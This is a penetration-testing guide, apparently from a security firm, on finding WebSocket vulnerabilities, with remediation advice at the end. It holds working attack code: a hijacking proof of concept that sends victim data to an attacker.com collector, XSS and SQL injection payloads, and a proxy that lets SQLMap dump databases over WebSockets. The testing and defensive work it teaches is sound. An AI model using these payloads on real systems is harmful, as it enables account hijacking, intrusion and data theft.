WebSocket Penetration Testing
The Complete Guide

A step-by-step methodology for finding vulnerabilities in real-time applications. With working code you can use on your next engagement.

Updated
April 2026
Reading Time
22 min
Author
Louis Sanchez, OSCP

WebSocket vulnerabilities are some of the most overlooked findings in application security. Automated scanners skip them. Many pentest firms do too. This guide is the methodology we use internally at Voke Cyber when testing real-time applications — published so you can use it on your own engagements.

Everything below is actionable. The code examples work. The proxy scripts are production-grade. Copy them, adapt them, use them.

1. The WebSocket Protocol

HTTP is request-response. Client asks, server answers, connection closes. WebSockets replace this with a persistent, full-duplex channel. Once established, either side can send messages at any time without waiting for the other.

The connection starts as a normal HTTP request with an Upgrade header. The server responds with 101 Switching Protocols, and the connection is promoted from HTTP to the WebSocket frame protocol over the same TCP connection. Here is what the handshake looks like on the wire:

Client Request
GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com
Cookie: session=abc123

Server Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

After the 101, communication switches to binary WebSocket frames. Two URI schemes: ws:// (unencrypted) and wss:// (TLS). Never use ws:// in production.

WebSockets appear in chat systems, live dashboards, trading platforms, multiplayer games, collaborative editors, IoT telemetry, and notification systems. Any feature with real-time bidirectional data is a candidate. RFC 6455 defines the protocol.

The core problem for security testing: automated web scanners cannot test WebSockets. They crawl HTTP endpoints, submit forms, fuzz query parameters. They do not speak the WebSocket protocol. If your security testing stops at HTTP, every WebSocket endpoint in the application is untested.

2. The Attack Surface

WebSocket security breaks down into two phases: the handshake and the message channel. Most vulnerabilities live in the message channel because developers secure the handshake and then trust the connection.

Authentication at the Handshake

The handshake is an HTTP request. Authentication happens here. Three common mechanisms:

Test what happens when the handshake is replayed without credentials. Many servers accept the upgrade regardless.

Authorization After the Handshake

This is where most implementations fail. The server authenticates the user during the upgrade, then treats every message on that connection as authorized. No per-message checks. If you are authenticated, you can subscribe to any channel, access any user's data, and invoke any function exposed over the WebSocket.

Compare this to REST APIs where every endpoint has authorization middleware. WebSocket applications rarely implement the equivalent.

Input Validation

Every WebSocket message is user input. If values hit a database, you get SQL injection. If content renders in another user's DOM, you get XSS. If messages contain URLs the server fetches, you get SSRF. The attack vectors are identical to HTTP — developers just forget to apply the same defenses because WebSocket handlers feel like internal event processing.

Cross-Site WebSocket Hijacking (CSWSH)

The WebSocket equivalent of CSRF, but worse. If the server does not validate the Origin header, an attacker's page can open a WebSocket to the target using the victim's cookies. Unlike CSRF, CSWSH gives the attacker a bidirectional channel — they can send actions and exfiltrate data in real time.

Denial of Service

WebSocket connections are persistent. Each consumes memory, file descriptors, and CPU. Without connection limits, message size caps, and rate limiting, an attacker can exhaust server capacity.

Key Takeaway

The handshake is where authentication happens. The message channel is where authorization is typically missing. Testing only the handshake and ignoring per-message security is the most common gap in WebSocket implementations.

3. Testing Methodology

This is the step-by-step approach we use when testing WebSocket implementations during web application and API penetration tests.

Step 1: Reconnaissance

Find every WebSocket endpoint. Open browser DevTools → Network → filter by "WS". Use the application and watch for connections. Search JavaScript source for new WebSocket(, io( (Socket.IO), SockJS, or signalR.

JavaScript - Find WebSocket URLs in Loaded Scripts
// Run in browser console
document.querySelectorAll('script[src]').forEach(s => {
  fetch(s.src).then(r => r.text()).then(code => {
    const wsUrls = code.match(/wss?:\/\/[^\s'"]+/g);
    const ioInit = code.match(/io\s*\(['"](.*?)['"]/g);
    if (wsUrls) console.log('[WS]', s.src, wsUrls);
    if (ioInit) console.log('[Socket.IO]', s.src, ioInit);
  });
});

Map the message format. Most apps use JSON. Some use Protocol Buffers, MessagePack, or custom binary formats. Document every message type: subscription requests, queries, RPC calls, heartbeats.

Identify the auth mechanism. Inspect the handshake in DevTools or Burp. Note whether auth uses cookies, URL tokens, first-message tokens, or nothing.

Step 2: Authentication Testing

Step 3: Authorization Testing

This is where the critical findings live.

Step 4: Input Validation Testing

Every field in every message is an injection point.

Step 5: Cross-Site WebSocket Hijacking

Check whether the server validates Origin:

Bash - Test Origin Validation
# If this connects, Origin is not validated
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"

# websocat alternative with more control
websocat -H="Origin: https://evil.com" \
  -H="Cookie: session=abc123" \
  wss://target.com/ws

If accepted, build a proof of concept:

HTML - CSWSH Proof of Concept
<!DOCTYPE html>
<html>
<body>
<h2>CSWSH Proof of Concept</h2>
<pre id="log"></pre>
<script>
  // Victim visits this page while authenticated to target.com.
  // Browser attaches target.com cookies to the upgrade request.
  const ws = new WebSocket("wss://target.com/ws");
  const log = document.getElementById("log");

  ws.onopen = () => {
    log.textContent += "[+] Connected as victim\n";
    // Read victim's data
    ws.send(JSON.stringify({action: "get_profile"}));
    // Perform actions as victim
    ws.send(JSON.stringify({action: "transfer", amount: 1000, to: "attacker"}));
  };

  ws.onmessage = (e) => {
    log.textContent += "[+] Received: " + e.data + "\n";
    // Exfiltrate to attacker-controlled server
    navigator.sendBeacon("https://attacker.com/collect", e.data);
  };

  ws.onerror = () => log.textContent += "[-] Connection failed\n";
</script>
</body>
</html>

Check SameSite cookie attributes too. SameSite=Strict or Lax prevents the browser from attaching cookies to cross-origin WebSocket handshakes. But relying on SameSite alone without Origin validation is a defense-in-depth failure.

Step 6: Business Logic Testing

4. Tools

Burp Suite

WebSockets history tab shows every message. Repeater lets you modify and resend individual messages. Enable WebSocket interception in Proxy settings for real-time tampering. Match-and-replace rules work on WebSocket messages — useful for automating ID swaps during authorization testing.

Browser DevTools

Network tab → filter "WS" → click a connection → Messages tab. Shows every frame with timestamp, direction, and payload. Fastest way to map the message protocol during recon.

wscat

Simple Node.js CLI WebSocket client. Good for quick manual testing.

Bash
# Connect with a session cookie
wscat -c "wss://target.com/ws" -H "Cookie: session=abc123"

# Connect with a Bearer token
wscat -c "wss://target.com/ws" -H "Authorization: Bearer eyJhbG..."

websocat

More powerful than wscat. Written in Rust. Supports piping, custom headers, binary frames, and chaining with other Unix tools.

Bash
# Send a single message and print the response
echo '{"action":"get_users"}' | websocat -1 \
  -H="Cookie: session=abc123" \
  wss://target.com/ws

# Pipe messages from a file (one JSON per line)
cat payloads.jsonl | websocat \
  -H="Cookie: session=abc123" \
  wss://target.com/ws

# Connect to two WebSockets and bridge them (useful for MITM)
websocat -b ws-l:127.0.0.1:9001 wss://target.com/ws

Python websockets Library

For automated testing, multi-step sequences, and custom fuzzing:

Python - Automated WebSocket Test Script
import asyncio
import websockets
import json

TARGET = "wss://target.com/ws"
COOKIES = {"Cookie": "session=abc123"}

async def test():
    async with websockets.connect(TARGET, extra_headers=COOKIES) as ws:

        # Authorization: request another user's data
        await ws.send(json.dumps({"action": "get_profile", "user_id": "9999"}))
        print(f"[AuthZ] {await ws.recv()}")

        # XSS: inject into a message field
        await ws.send(json.dumps({
            "action": "send_message",
            "content": "<img src=x onerror=alert(document.domain)>"
        }))
        print(f"[XSS]  {await ws.recv()}")

        # SQLi: basic detection
        await ws.send(json.dumps({"action": "search", "query": "' OR '1'='1' --"}))
        print(f"[SQLi] {await ws.recv()}")

        # DoS: oversized message
        try:
            await ws.send(json.dumps({"action": "ping", "data": "A" * 10_000_000}))
            print(f"[Size] {await asyncio.wait_for(ws.recv(), timeout=5)}")
        except Exception as e:
            print(f"[Size] {e}")

asyncio.run(test())

5. SQLMap Over WebSockets

SQLMap is the standard for automated SQL injection testing, but it only speaks HTTP. The solution: a middleware proxy that translates between HTTP and WebSocket. SQLMap sends payloads as HTTP requests, the proxy forwards them as WebSocket messages, and the response comes back as HTTP.

This unlocks SQLMap's full detection engine — time-based blind, boolean-based blind, UNION, error-based, stacked queries — against any WebSocket parameter that touches a database.

Python - ws_proxy.py
import asyncio
import websockets
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

# ---- CONFIGURE THESE PER ENGAGEMENT ----
WS_URL    = "wss://target.com/ws"
WS_COOKIE = "session=abc123"

# The WebSocket message template.
# INJECT_HERE is replaced with the SQLMap payload.
def build_message(payload):
    return json.dumps({
        "action": "get_record",
        "id": payload          # <-- injection point
    })
# -----------------------------------------

class ProxyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # SQLMap sends the payload as ?id=PAYLOAD
        params = parse_qs(urlparse(self.path).query)
        payload = params.get("id", ["1"])[0]

        # Forward over WebSocket
        result = asyncio.run(self._ws_send(build_message(payload)))

        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(result.encode())

    async def _ws_send(self, message):
        async with websockets.connect(
            WS_URL, extra_headers={"Cookie": WS_COOKIE}
        ) as ws:
            await ws.send(message)
            return await ws.recv()

    def log_message(self, *args):
        pass  # suppress request logging

if __name__ == "__main__":
    port = 8080
    print(f"[*] Proxy listening on http://127.0.0.1:{port}")
    print(f"[*] Forwarding to {WS_URL}")
    HTTPServer(("127.0.0.1", port), ProxyHandler).serve_forever()

Run the proxy, then point SQLMap at it:

Bash
# Terminal 1: start the proxy
python3 ws_proxy.py

# Terminal 2: run SQLMap against the proxy
sqlmap -u "http://127.0.0.1:8080/?id=1" \
  --batch \
  --level=3 \
  --risk=2 \
  --dbs

# For time-based blind (useful when responses are identical)
sqlmap -u "http://127.0.0.1:8080/?id=1" \
  --batch \
  --technique=T \
  --time-sec=3

# Dump a specific table after discovery
sqlmap -u "http://127.0.0.1:8080/?id=1" \
  --batch \
  -D appdb -T users --dump

SQLMap has no idea it is talking to a WebSocket. It sees a normal HTTP endpoint. Every technique it supports works transparently.

Adapting the proxy. The build_message() function is the only thing you change per engagement. Modify it to match the target's message schema. If you need to test multiple parameters, run multiple proxy instances on different ports or add a path-based router.

Performance Note

The proxy opens a new WebSocket connection for each HTTP request. This is intentional — it avoids state management issues between SQLMap's requests. For time-based blind injection, set --time-sec=3 or higher to account for the connection overhead. If the target rate-limits WebSocket connections, add a short sleep in _ws_send.

6. Bridging HTTP Tools to WebSockets

The middleware proxy pattern is not limited to SQLMap. Any HTTP-based security tool can be redirected through the same proxy:

The proxy turns any WebSocket endpoint into an HTTP endpoint. This unlocks the entire HTTP security testing toolkit against a protocol that was previously manual-only.

Key Takeaway

You do not need WebSocket-native tools for every test. The middleware proxy pattern lets you use SQLMap, Burp Intruder, ffuf, Nuclei, and any other HTTP tool against WebSocket parameters. Write one proxy per engagement, tailored to the target's message schema.

7. Testing Socket.IO, SockJS, and SignalR

Most real-time applications do not use raw WebSockets. They use a library that adds features on top of the protocol. Each library has its own security considerations.

Socket.IO

Socket.IO is the most popular WebSocket abstraction. It adds automatic reconnection, rooms, namespaces, and an event-based API. It also adds an HTTP long-polling fallback — if WebSocket fails, it falls back to XHR polling. Both transports need testing.

Socket.IO messages have a specific encoding. Event messages start with 42 followed by a JSON array: 42["event_name", {data}]. Acknowledgment messages start with 43. Understanding this encoding is required for manual message crafting.

Bash - Observe Socket.IO Message Format
# In browser DevTools, Socket.IO messages look like:
# → 42["join_room",{"room_id":"abc123"}]
# ← 42["room_data",{"users":["alice","bob"]}]
# → 42["send_message",{"room_id":"abc123","text":"hello"}]

# The "42" prefix = Engine.IO message type (4) + Socket.IO packet type (2)
# 0 = connect, 1 = disconnect, 2 = event, 3 = ack, 4 = error

Socket.IO-specific tests:

Python - Socket.IO Test Client
import socketio

sio = socketio.Client()

@sio.on('connect')
def on_connect():
    print('[+] Connected')
    # Test: access another user's room
    sio.emit('join_room', {'room_id': 'admin-dashboard'})
    # Test: call an admin-only event
    sio.emit('delete_user', {'user_id': '12345'})

@sio.on('*')
def catch_all(event, data):
    print(f'[+] {event}: {data}')

sio.connect('https://target.com', headers={'Cookie': 'session=abc123'})
sio.wait()

SockJS

SockJS provides a WebSocket-like API with multiple fallbacks (XHR streaming, XHR polling, EventSource, JSONP polling). Key testing considerations:

SignalR

Microsoft's SignalR uses a negotiate endpoint (/negotiate) to establish the connection. This endpoint returns a connection ID and supported transports. Testing considerations:

8. Common Findings

Ranked by how often we report them:

1. No Origin validation. The server accepts handshakes from any Origin. Vulnerable to CSWSH. The most common WebSocket finding. Severity: High.

2. No per-message authorization. The server checks auth at the handshake and then trusts every message. Users can access other users' data and invoke privileged functions. Severity: Critical.

3. IDOR through WebSocket messages. Client sends user/account/resource IDs in messages. Server uses them without verifying ownership. The WebSocket equivalent of BOLA. Severity: High to Critical.

4. No rate limiting. Unlimited messages at any speed. Enables brute-force, scraping, and message flood DoS. Severity: Medium.

5. Unencrypted transport. Using ws:// instead of wss://. Session tokens and data transmitted in plaintext. Severity: High.

6. Stored XSS via WebSocket. Message content rendered in other users' DOM without sanitization. Especially common in chat features. Severity: High.

7. SQL injection via WebSocket. Message parameters passed to database queries without parameterization. Often missed because scanners do not test WebSocket inputs. Severity: Critical.

8. Session fixation after logout. WebSocket connections stay alive after the user's HTTP session is invalidated. The server never pushes a disconnect when the session expires. Severity: Medium.

9. No connection limits. No cap on concurrent connections per user or IP. Enables connection exhaustion DoS. Severity: Medium.

9. Remediation Guidance

Validate Origin on Every Handshake

Check the Origin header against a whitelist of allowed domains. Reject missing, null, or unrecognized origins. Implement this in your WebSocket server code, not just a reverse proxy.

Implement Per-Message Authorization

Every message handler must verify the authenticated user has permission for the requested action and resource. Treat the connection as a transport layer, not a trust boundary. Apply the same RBAC you enforce on REST endpoints.

Enforce wss:// Only

Reject ws:// connections. If behind a load balancer, ensure TLS terminates correctly and the backend link is also encrypted or on a trusted network.

Sanitize Before DOM Rendering

Never use innerHTML with WebSocket message content. Use textContent for plain text. Use DOMPurify for rich content. Apply the same output encoding as any user-generated content.

Rate Limit and Cap Message Size

Set a max message size (most WS server libraries support this natively). Implement per-connection rate limiting. Set a max concurrent connection count per user and per IP.

Enforce Session Lifecycle

When a session expires or is revoked, actively close the WebSocket from the server side. Implement ping/pong for dead connection detection. Set idle timeouts.

Validate Origin + CSRF Token Together

For cookie-based auth, combine Origin validation with a CSRF token passed as a query parameter or first message. Defense in depth: if Origin validation is bypassed, the CSRF token still blocks hijacking.

Key Takeaway

Per-message authorization is the highest-impact fix. Origin validation prevents CSWSH. TLS prevents interception. Input sanitization prevents injection. But per-message authorization prevents authenticated users from accessing data they should not have — and it is the control missing most often.

Louis Sanchez

About the Author

Louis Sanchez is a penetration tester and the founder of Voke Cyber. We test WebSocket-heavy applications as part of our web application and API penetration tests. Every engagement includes direct communication with the tester who does the work, detailed remediation guidance, and free retesting within 30 days.

Need WebSocket Security Testing?

We test real-time applications the way attackers target them. Manual testing of every WebSocket endpoint — not just the HTTP surface.